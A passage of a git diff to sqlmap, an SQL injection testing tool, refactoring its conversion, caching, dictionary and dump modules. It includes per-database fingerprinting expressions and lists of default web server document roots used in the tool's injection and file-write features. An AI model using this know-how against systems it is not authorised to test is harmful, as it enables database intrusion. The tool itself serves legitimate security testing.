+ for x in lines:
+ self.write(x)
+
+ def __iter__(self):
+ return iter(self._fh)
+
+ def __next__(self):
+ return next(self._fh)
+
+ def next(self): # Py2
+ return self.__next__()
+
+ def __getattr__(self, name):
+ return getattr(self._fh, name)
+
+ def __enter__(self):
+ self._fh.__enter__()
+ return self
+
+ def __exit__(self, exc_type, exc, tb):
+ return self._fh.__exit__(exc_type, exc, tb)
+
+
+def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1):
+ """
+ Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior.
+
+ - If encoding is None: return io.open(...) as-is.
+ - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter
+ (like codecs.open()).
+ - For write-ish modes: return a wrapper that also accepts bytes on .write().
+ - Handles buffering=1 in binary mode by downgrading underlying buffering to -1,
+ while optionally preserving "flush on newline" behavior in the wrapper.
+ """
+ if encoding is None:
+ return io.open(filename, mode, buffering=buffering)
+
+ bmode = mode
+ if "b" not in bmode:
+ bmode += "b"
+
+ # Avoid line-buffering warnings/errors on binary streams
+ line_buffered = (buffering == 1)
+ if line_buffered:
+ buffering = -1
+
+ f = io.open(filename, bmode, buffering=buffering)
+
+ try:
+ info = codecs.lookup(encoding)
+ srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors)
+ srw.encoding = encoding
+
+ if _is_write_mode(mode):
+ return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered)
+
+ return srw
+ except Exception:
+ try:
+ f.close()
+ finally:
+ raise
+
+codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open
diff --git a/lib/core/convert.py b/lib/core/convert.py
index 520c306a4c8..0b4cddd739e 100644
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -16,6 +16,7 @@
import json
import re
import sys
+import time
from lib.core.bigarray import BigArray
from lib.core.compat import xrange
@@ -30,6 +31,7 @@
from lib.core.settings import UNICODE_ENCODING
from thirdparty import six
from thirdparty.six import unichr as _unichr
+from thirdparty.six.moves import html_parser
from thirdparty.six.moves import collections_abc as _collections
try:
@@ -57,7 +59,7 @@ def base64pickle(value):
try:
retVal = encodeBase64(pickle.dumps(value), binary=False)
except:
- retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
+ raise
return retVal
@@ -80,25 +82,27 @@ def base64unpickle(value):
def htmlUnescape(value):
"""
- Returns (basic conversion) HTML unescaped value
+ Returns HTML unescaped value
>>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar'
+ True
+ >>> htmlUnescape('foobar') == 'foobar'
+ True
+ >>> htmlUnescape('©€') == htmlUnescape('©€')
+ True
"""
- retVal = value
-
if value and isinstance(value, six.string_types):
- replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'"))
- for code, value in replacements:
- retVal = retVal.replace(code, value)
-
- try:
- retVal = re.sub(r"([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
- except (ValueError, OverflowError):
- pass
-
- return retVal
+ if six.PY3:
+ import html
+ return html.unescape(value)
+ else:
+ return html_parser.HTMLParser().unescape(value)
+ return value
def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message)
@@ -136,7 +140,7 @@ def dejsonize(data):
def decodeHex(value, binary=True):
"""
- Returns a decoded representation of provided hexadecimal value
+ Returns a decoded representation of the provided hexadecimal value
>>> decodeHex("313233") == b"123"
True
@@ -164,7 +168,7 @@ def decodeHex(value, binary=True):
def encodeHex(value, binary=True):
"""
- Returns a encoded representation of provided string value
+ Returns an encoded representation of the provided value
>>> encodeHex(b"123") == b"313233"
True
@@ -172,10 +176,12 @@ def encodeHex(value, binary=True):
'313233'
>>> encodeHex(b"123"[0]) == b"31"
True
+ >>> encodeHex(123, binary=False)
+ '7b'
"""
if isinstance(value, int):
- value = six.unichr(value)
+ value = six.int2byte(value)
if isinstance(value, six.text_type):
value = value.encode(UNICODE_ENCODING)
@@ -233,7 +239,7 @@ def decodeBase64(value, binary=True, encoding=None):
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
"""
- Returns a decoded representation of provided Base64 value
+ Returns a Base64 encoded representation of the provided value
>>> encodeBase64(b"123") == b"MTIz"
True
@@ -289,7 +295,11 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
except (LookupError, TypeError):
encoding = UNICODE_ENCODING
- if isinstance(value, six.text_type):
+ if isinstance(value, bytearray):
+ return bytes(value)
+ elif isinstance(value, memoryview):
+ return value.tobytes()
+ elif isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA:
if unsafe:
for char in xrange(0xF0000, 0xF00FF + 1):
@@ -298,7 +308,7 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
retVal = value.encode(encoding, errors)
if unsafe:
- retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
+ retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal)
else:
try:
retVal = value.encode(encoding, errors)
@@ -332,8 +342,14 @@ def getUnicode(value, encoding=None, noneToNull=False):
True
>>> getUnicode(None) == 'None'
True
+ >>> getUnicode(b'/etc/passwd') == '/etc/passwd'
+ True
"""
+ # Best position for --time-limit mechanism
+ if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit):
+ raise SystemExit
+
if noneToNull and value is None:
return NULL
@@ -344,7 +360,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding()))
if all(_ in value for _ in (b'<', b'>')):
pass
- elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value:
+ elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")):
candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding")))
elif conf.get("encoding") and b'\n' not in value:
candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING))
@@ -393,10 +409,13 @@ def getText(value, encoding=None):
def stdoutEncode(value):
"""
- Returns binary representation of a given Unicode value safe for writing to stdout
+ Returns textual representation of a given value safe for writing to stdout
+ >>> stdoutEncode(b"foobar")
+ 'foobar'
"""
- value = value or ""
+ if value is None:
+ value = ""
if IS_WIN and IS_TTY and kb.get("codePage", -1) is None:
output = shellExec("chcp")
@@ -406,36 +425,32 @@ def stdoutEncode(value):
try:
candidate = "cp%s" % match.group(1)
codecs.lookup(candidate)
- except LookupError:
- pass
- else:
kb.codePage = candidate
+ except (LookupError, TypeError):
+ pass
kb.codePage = kb.codePage or ""
- if isinstance(value, six.text_type):
- encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
-
- while True:
- try:
- retVal = value.encode(encoding)
- break
- except UnicodeEncodeError as ex:
- value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:]
-
- warnMsg = "cannot properly display (some) Unicode characters "
- warnMsg += "inside your terminal ('%s') environment. All " % encoding
- warnMsg += "unhandled occurrences will result in "
- warnMsg += "replacement with '?' character. Please, find "
- warnMsg += "proper character representation inside "
- warnMsg += "corresponding output files"
- singleTimeWarnMessage(warnMsg)
+ encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
- if six.PY3:
- retVal = getUnicode(retVal, encoding)
+ if six.PY3:
+ if isinstance(value, (bytes, bytearray)):
+ value = getUnicode(value, encoding)
+ elif not isinstance(value, str):
+ value = str(value)
+ try:
+ retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace")
+ except (LookupError, TypeError):
+ retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace")
else:
- retVal = value
+ if isinstance(value, six.text_type):
+ try:
+ retVal = value.encode(encoding, errors="replace")
+ except (LookupError, TypeError):
+ retVal = value.encode("ascii", errors="replace")
+ else:
+ retVal = value
return retVal
@@ -450,7 +465,7 @@ def getConsoleLength(value):
"""
if isinstance(value, six.text_type):
- retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+ retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
else:
retVal = len(value)
diff --git a/lib/core/data.py b/lib/core/data.py
index 4165404438a..5523a60c49a 100644
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
index 412d545439b..b0b1809f8a8 100644
--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -1,11 +1,12 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import copy
+import threading
import types
from thirdparty.odict import OrderedDict
@@ -19,21 +20,18 @@ class AttribDict(dict):
>>> foo.bar = 1
>>> foo.bar
1
+ >>> import copy; copy.deepcopy(foo).bar
+ 1
"""
def __init__(self, indict=None, attribute=None, keycheck=True):
if indict is None:
indict = {}
- # Set any attributes here - before initialisation
- # these remain as normal attributes
- self.attribute = attribute
- self.keycheck = keycheck
dict.__init__(self, indict)
- self.__initialised = True
-
- # After initialisation, setting attributes
- # is the same as setting an item
+ self.__dict__["_attribute"] = attribute
+ self.__dict__["_keycheck"] = keycheck
+ self.__dict__["_initialized"] = True
def __getattr__(self, item):
"""
@@ -44,7 +42,20 @@ def __getattr__(self, item):
try:
return self.__getitem__(item)
except KeyError:
- if self.keycheck:
+ if self.__dict__.get("_keycheck"):
+ raise AttributeError("unable to access item '%s'" % item)
+ else:
+ return None
+
+ def __delattr__(self, item):
+ """
+ Deletes attributes
+ """
+
+ try:
+ return self.pop(item)
+ except KeyError:
+ if self.__dict__.get("_keycheck"):
raise AttributeError("unable to access item '%s'" % item)
else:
return None
@@ -55,14 +66,8 @@ def __setattr__(self, item, value):
Only if we are initialised
"""
- # This test allows attributes to be set in the __init__ method
- if "_AttribDict__initialised" not in self.__dict__:
- return dict.__setattr__(self, item, value)
-
- # Any normal attributes are handled normally
- elif item in self.__dict__:
- dict.__setattr__(self, item, value)
-
+ if "_initialized" not in self.__dict__ or item in self.__dict__:
+ self.__dict__[item] = value
else:
self.__setitem__(item, value)
@@ -73,14 +78,12 @@ def __setstate__(self, dict):
self.__dict__ = dict
def __deepcopy__(self, memo):
- retVal = self.__class__()
+ retVal = self.__class__(keycheck=self.__dict__.get("_keycheck"))
memo[id(self)] = retVal
- for attr in dir(self):
- if not attr.startswith('_'):
- value = getattr(self, attr)
- if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
- setattr(retVal, attr, copy.deepcopy(value, memo))
+ for attr, value in self.__dict__.items():
+ if attr not in ('_attribute', '_keycheck', '_initialized'):
+ setattr(retVal, attr, copy.deepcopy(value, memo))
for key, value in self.items():
retVal.__setitem__(key, copy.deepcopy(value, memo))
@@ -88,8 +91,8 @@ def __deepcopy__(self, memo):
return retVal
class InjectionDict(AttribDict):
- def __init__(self):
- AttribDict.__init__(self)
+ def __init__(self, **kwargs):
+ AttribDict.__init__(self, **kwargs)
self.place = None
self.parameter = None
@@ -129,6 +132,7 @@ class LRUDict(object):
def __init__(self, capacity):
self.capacity = capacity
self.cache = OrderedDict()
+ self.__lock = threading.Lock()
def __len__(self):
return len(self.cache)
@@ -137,20 +141,25 @@ def __contains__(self, key):
return key in self.cache
def __getitem__(self, key):
- value = self.cache.pop(key)
- self.cache[key] = value
- return value
+ with self.__lock:
+ value = self.cache.pop(key)
+ self.cache[key] = value
+ return value
- def get(self, key):
- return self.__getitem__(key)
+ def get(self, key, default=None):
+ try:
+ return self.__getitem__(key)
+ except:
+ return default
def __setitem__(self, key, value):
- try:
- self.cache.pop(key)
- except KeyError:
- if len(self.cache) >= self.capacity:
- self.cache.popitem(last=False)
- self.cache[key] = value
+ with self.__lock:
+ try:
+ self.cache.pop(key)
+ except KeyError:
+ if len(self.cache) >= self.capacity:
+ self.cache.popitem(last=False)
+ self.cache[key] = value
def set(self, key, value):
self.__setitem__(key, value)
diff --git a/lib/core/decorators.py b/lib/core/decorators.py
index 33644e1de55..53603e81637 100644
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -1,21 +1,18 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import functools
-import hashlib
import threading
from lib.core.datatype import LRUDict
from lib.core.settings import MAX_CACHE_ITEMS
-from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
_cache = {}
-_cache_lock = threading.Lock()
_method_locks = {}
def cachedmethod(f):
@@ -38,22 +35,44 @@ def cachedmethod(f):
"""
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
+ _method_locks[f] = threading.RLock()
+
+ def _freeze(val):
+ if isinstance(val, (list, set, tuple)):
+ return tuple(_freeze(x) for x in val)
+ if isinstance(val, dict):
+ return tuple(sorted((k, _freeze(v)) for k, v in val.items()))
+ return val
@functools.wraps(f)
def _f(*args, **kwargs):
+ lock, cache = _method_locks[f], _cache[f]
+
try:
- key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
- except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
- result = f(*args, **kwargs)
- else:
- try:
- with _cache_lock:
- result = _cache[f][key]
- except KeyError:
- result = f(*args, **kwargs)
+ if kwargs:
+ key = (args, frozenset(kwargs.items()))
+ else:
+ key = args
+
+ with lock:
+ if key in cache:
+ return cache[key]
+
+ except TypeError:
+ # Note: fallback (slowpath(
+ if kwargs:
+ key = (_freeze(args), _freeze(kwargs))
+ else:
+ key = _freeze(args)
+
+ with lock:
+ if key in cache:
+ return cache[key]
+
+ result = f(*args, **kwargs)
- with _cache_lock:
- _cache[f][key] = result
+ with lock:
+ cache[key] = result
return result
@@ -80,21 +99,30 @@ def _(*args, **kwargs):
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
- threadData.valueStack = threadData.valueStack[:originalLevel]
+ del threadData.valueStack[originalLevel:]
return result
return _
def lockedmethod(f):
+ """
+ Decorates a function or method with a reentrant lock (only one thread can execute the function at a time)
+
+ >>> @lockedmethod
+ ... def recursive_count(n):
+ ... if n <= 0: return 0
+ ... return n + recursive_count(n - 1)
+ >>> recursive_count(5)
+ 15
+ """
+
+ lock = threading.RLock()
+
@functools.wraps(f)
def _(*args, **kwargs):
- if f not in _method_locks:
- _method_locks[f] = threading.RLock()
-
- with _method_locks[f]:
+ with lock:
result = f(*args, **kwargs)
-
return result
return _
diff --git a/lib/core/defaults.py b/lib/core/defaults.py
index 94713e0e689..743ab6a26b9 100644
--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -16,7 +16,7 @@
"timeout": 30,
"retries": 3,
"csrfRetries": 0,
- "saFreq": 0,
+ "safeFreq": 0,
"threads": 1,
"level": 1,
"risk": 1,
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index 27077f08f14..a1baf0db3a2 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -37,6 +37,9 @@
from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
+from lib.core.settings import VIRTUOSO_ALIASES
+from lib.core.settings import CLICKHOUSE_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
FIREBIRD_TYPES = {
261: "BLOB",
@@ -175,7 +178,7 @@
PGSQL_PRIVS = {
1: "createdb",
2: "super",
- 3: "catupd",
+ 3: "replication",
}
# Reference(s): http://stackoverflow.com/a/17672504
@@ -223,14 +226,14 @@
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
- DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
+ DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
- DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
+ DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
- DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+ DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
@@ -240,12 +243,15 @@
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
- DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
+ DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None),
+ DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
- DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+ DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
+ DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
+ DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -253,7 +259,7 @@
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
- DBMS.MAXDB: " FROM VERSIONS",
+ DBMS.MAXDB: " FROM DUAL",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
@@ -265,11 +271,11 @@
HEURISTIC_NULL_EVAL = {
DBMS.ACCESS: "CVAR(NULL)",
DBMS.MAXDB: "ALPHA(NULL)",
- DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
- DBMS.MYSQL: "QUARTER(NULL)",
+ DBMS.MSSQL: "PARSENAME(NULL,NULL)",
+ DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0
DBMS.ORACLE: "INSTR2(NULL,NULL)",
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
- DBMS.SQLITE: "UNLIKELY(NULL)",
+ DBMS.SQLITE: "JULIANDAY(NULL)",
DBMS.H2: "STRINGTOUTF8(NULL)",
DBMS.MONETDB: "CODE(NULL)",
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
@@ -278,11 +284,14 @@
DBMS.PRESTO: "FROM_HEX(NULL)",
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
DBMS.MIMERSQL: "ASCII_CHAR(256)",
- DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
+ DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite
DBMS.CUBRID: "(NULL SETEQ NULL)",
DBMS.CACHE: "%SQLUPPER NULL",
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
- DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
+ DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
+ DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
+ DBMS.CLICKHOUSE: "halfMD5(NULL)",
+ DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
}
SQL_STATEMENTS = {
@@ -318,6 +327,7 @@
"update ",
"delete ",
"merge ",
+ "copy ",
"load ",
),
@@ -367,20 +377,31 @@
"--check-payload": None,
"--check-waf": None,
"--pickled-options": "use '--api -c ...' instead",
+ "--identify-waf": "functionality being done automatically",
}
DEPRECATED_OPTIONS = {
- "--identify-waf": "functionality being done automatically",
}
DUMP_DATA_PREPROCESS = {
- DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
- DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
+ DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},
+ DBMS.MSSQL: {
+ "IMAGE": "CONVERT(VARBINARY(MAX),%s)",
+ "GEOMETRY": "(%s).STAsText()",
+ "GEOGRAPHY": "(%s).STAsText()"
+ },
+ DBMS.PGSQL: {
+ "GEOMETRY": "ST_AsText(%s)",
+ "GEOGRAPHY": "ST_AsText(%s)"
+ },
+ DBMS.MYSQL: {
+ "GEOMETRY": "ST_AsText(%s)"
+ }
}
DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
- OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+ OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html")
}
PART_RUN_CONTENT_TYPES = {
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 89d4b0ac0ed..aa50ae07c4c 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -16,14 +16,16 @@
from lib.core.common import checkFile
from lib.core.common import dataToDumpFile
from lib.core.common import dataToStdout
+from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.common import isListLike
-from lib.core.common import isMultiThreadMode
+from lib.core.common import isNoneValue
from lib.core.common import normalizeUnicode
from lib.core.common import openFile
from lib.core.common import prioritySortColumns
from lib.core.common import randomInt
from lib.core.common import safeCSValue
+from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.compat import xrange
from lib.core.convert import getBytes
@@ -43,6 +45,7 @@
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.replication import Replication
+from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD
from lib.core.settings import DUMP_FILE_BUFFER_SIZE
from lib.core.settings import HTML_DUMP_CSS_STYLE
from lib.core.settings import IS_WIN
@@ -77,18 +80,19 @@ def _write(self, data, newline=True, console=True, content_type=None):
elif console:
dataToStdout(text)
- multiThreadMode = isMultiThreadMode()
- if multiThreadMode:
- self._lock.acquire()
+ if self._outputFP:
+ multiThreadMode = kb.multiThreadMode
+ if multiThreadMode:
+ self._lock.acquire()
- try:
- self._outputFP.write(text)
- except IOError as ex:
- errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
- raise SqlmapGenericException(errMsg)
+ try:
+ self._outputFP.write(text)
+ except IOError as ex:
+ errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
+ raise SqlmapGenericException(errMsg)
- if multiThreadMode:
- self._lock.release()
+ if multiThreadMode:
+ self._lock.release()
kb.dataOutputFlag = True
@@ -100,9 +104,13 @@ def flush(self):
pass
def setOutputFile(self):
+ if conf.noLogging:
+ self._outputFP = None
+ return
+
self._outputFile = os.path.join(conf.outputPath, "log")
try:
- self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
+ self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w')
except IOError as ex:
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
@@ -114,6 +122,9 @@ def string(self, header, data, content_type=None, sort=True):
if conf.api:
self._write(data, content_type=content_type)
+ if isListLike(data) and len(data) == 1:
+ data = unArrayizeValue(data)
+
if isListLike(data):
self.lister(header, data, content_type, sort)
elif data is not None:
@@ -164,9 +175,9 @@ def currentUser(self, data):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data):
- if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+ if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
- elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
+ elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -200,9 +211,9 @@ def userSettings(self, header, userSettings, subHeader, content_type=None):
self._write("%s:" % header)
for user in users:
- settings = userSettings[user]
+ settings = filterNone(userSettings[user])
- if settings is None:
+ if isNoneValue(settings):
stringSettings = ""
else:
stringSettings = " [%d]:" % len(settings)
@@ -402,7 +413,18 @@ def dbTableValues(self, tableValues):
if conf.api:
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
- dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
+ try:
+ dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
